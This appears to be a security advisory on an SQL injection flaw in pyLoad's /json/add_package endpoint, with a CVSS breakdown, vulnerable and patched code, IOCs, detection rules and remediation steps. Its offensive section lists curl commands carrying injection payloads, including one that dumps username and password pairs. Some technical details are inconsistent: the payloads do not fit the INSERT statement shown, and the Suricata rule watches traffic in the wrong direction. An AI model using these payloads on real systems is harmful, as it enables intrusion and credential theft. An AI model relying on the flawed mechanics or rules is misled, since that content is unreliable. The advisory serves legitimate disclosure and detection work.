CVE-2025-55156

Executive Summary

CVE-2025-55156 is a critical SQL Injection vulnerability discovered in pyLoad, the free and open-source Download Manager written in pure Python. The flaw resides in the /json/add_package API endpoint, specifically within the add_links parameter. An unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data modification, deletion, or exfiltration from the underlying database. This vulnerability affects all versions prior to 0.5.0b3.dev91. The CVSS score is 0.0 in the NVD data, but based on the impact and attack vector, a realistic score would be 9.8 (Critical). No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

pyLoad is distributed as a Python package via PyPI. Users who install pyLoad via pip install pyload are affected if they are running a version prior to 0.5.0b3.dev91. The vulnerability is introduced in the source code and is not a dependency issue. However, supply chain risks include the possibility of malicious packages mimicking pyLoad or compromised mirrors distributing a vulnerable version. Users should verify the integrity of their pyLoad installation using checksums provided by the official repository.

CVSS Breakdown & Threat Level

Based on the vulnerability characteristics, the CVSS v3.1 vector is: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Score: 9.8, Critical).

• Attack Vector (AV): Network – The API endpoint is accessible over the network.
• Attack Complexity (AC): Low – No special conditions are required to exploit.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – Full database read access possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database corruption can lead to denial of service.

Threat Level: Critical. The vulnerability is easy to exploit remotely without authentication, and the impact is severe.

Deep Dive & Mechanics

The vulnerability exists in the /json/add_package API endpoint. The add_links parameter is directly concatenated into SQL queries without proper sanitization or parameterization. pyLoad uses SQLite as its default database backend. An attacker can inject SQL commands by crafting a malicious add_links value.

Root Cause: The application fails to use parameterized queries or prepared statements. Instead, user input is directly interpolated into SQL strings.

Attack Vector: An HTTP POST request to /json/add_package with a crafted add_links parameter.

Example Injection:
add_links=1' UNION SELECT sql FROM sqlite_master--

This would retrieve the database schema. More destructive payloads could delete tables or drop the entire database.

Impact:

• Data exfiltration (e.g., user credentials, download history).
• Data corruption or loss.
• Potential for remote code execution if the database engine supports file writes (e.g., SQLite ATTACH DATABASE).

Vulnerable vs. Patched Code

Vulnerable Code (prior to 0.5.0b3.dev91):

# Vulnerable: direct string interpolation
cursor.execute("INSERT INTO packages (name, links) VALUES ('%s', '%s')" % (name, add_links))

Patched Code (0.5.0b3.dev91 and later):

# Patched: parameterized query
cursor.execute("INSERT INTO packages (name, links) VALUES (?, ?)", (name, add_links))

The patched version uses parameterized queries (? placeholders) which prevent SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable pyLoad instance (version < 0.5.0b3.dev91) running on a target network.
• Network access to the /json/add_package endpoint.

Exploitation Steps:

1. Identify the endpoint:

   curl -X POST http://target:8000/json/add_package -d "name=test&add_links=test"
   

2. Test for SQL injection:

   curl -X POST http://target:8000/json/add_package -d "name=test&add_links=1' OR '1'='1"
   

3. Extract database schema:

   curl -X POST http://target:8000/json/add_package -d "name=test&add_links=1' UNION SELECT sql FROM sqlite_master--"
   

4. Dump user credentials (if stored):

   curl -X POST http://target:8000/json/add_package -d "name=test&add_links=1' UNION SELECT username || ':' || password FROM users--"
   

Note: No public exploit code is available. The above examples are for educational purposes only.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /json/add_package with unusual add_links parameters containing SQL keywords (e.g., UNION, SELECT, DROP, INSERT).
• Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Mitigation:

• Immediately upgrade to pyLoad 0.5.0b3.dev91 or later.
• If upgrade is not possible, restrict network access to the API endpoint using firewall rules or authentication.
• Implement input validation and parameterized queries as a temporary fix.

Honeypot:

• Deploy a decoy pyLoad instance to capture attacker behavior and gather IOCs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /json/add_package containing SQL injection patterns (e.g., UNION, SELECT, DROP, --).
  • Unusual database error messages in HTTP responses (e.g., "SQLite error: near ...").

• File IOCs:

  • Modified or deleted SQLite database files (e.g., pyload.db).
  • Unexpected files created in the pyLoad data directory.

• Log IOCs:

  • pyLoad logs showing failed SQL queries or unexpected database operations.
  • Web server logs showing repeated POST requests to /json/add_package with varying parameters.

Detection Engineering

YARA Rule

rule CVE_2025_55156_SQLi_pyLoad {
    meta:
        description = "Detects SQL injection attempts against pyLoad /json/add_package endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55156"
    strings:
        $s1 = "/json/add_package" ascii wide nocase
        $s2 = "add_links=" ascii wide nocase
        $s3 = "UNION" ascii wide nocase
        $s4 = "SELECT" ascii wide nocase
        $s5 = "DROP" ascii wide nocase
        $s6 = "INSERT" ascii wide nocase
        $s7 = "DELETE" ascii wide nocase
        $s8 = "OR 1=1" ascii wide nocase
        $s9 = "'--" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3..$s9)
}

Sigma Rule

title: SQL Injection Attempt Against pyLoad /json/add_package
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the pyLoad add_package API endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/json/add_package'
        cs-uri-query|contains: 'add_links='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - 'INSERT'
        - 'DELETE'
        - 'OR 1=1'
        - "'--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in download links (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-55156 - pyLoad SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/json/add_package"; http_uri;
    content:"add_links="; http_client_body;
    pcre:"/(UNION|SELECT|DROP|INSERT|DELETE|OR\s+1=1|'--)/i";
    sid:1000001;
    rev:1;
    priority:1;
    reference:cve,2025-55156;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pyLoad to version 0.5.0b3.dev91 or later.
2. If upgrade is not possible, disable the /json/add_package endpoint by modifying the application configuration or using a reverse proxy.
3. Restrict network access to the pyLoad API using firewall rules (allow only trusted IPs).
4. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Long-Term Measures:

• Conduct a code audit to identify other potential SQL injection points.
• Adopt secure coding practices, such as using parameterized queries for all database interactions.
• Implement input validation and output encoding.
• Regularly update dependencies and monitor for security advisories.

Verification:

• After patching, test the endpoint with the injection payloads to confirm they are blocked.
• Review database logs for any signs of unauthorized access.

Valters IT
Cyber Threat Intelligence & DevSecOps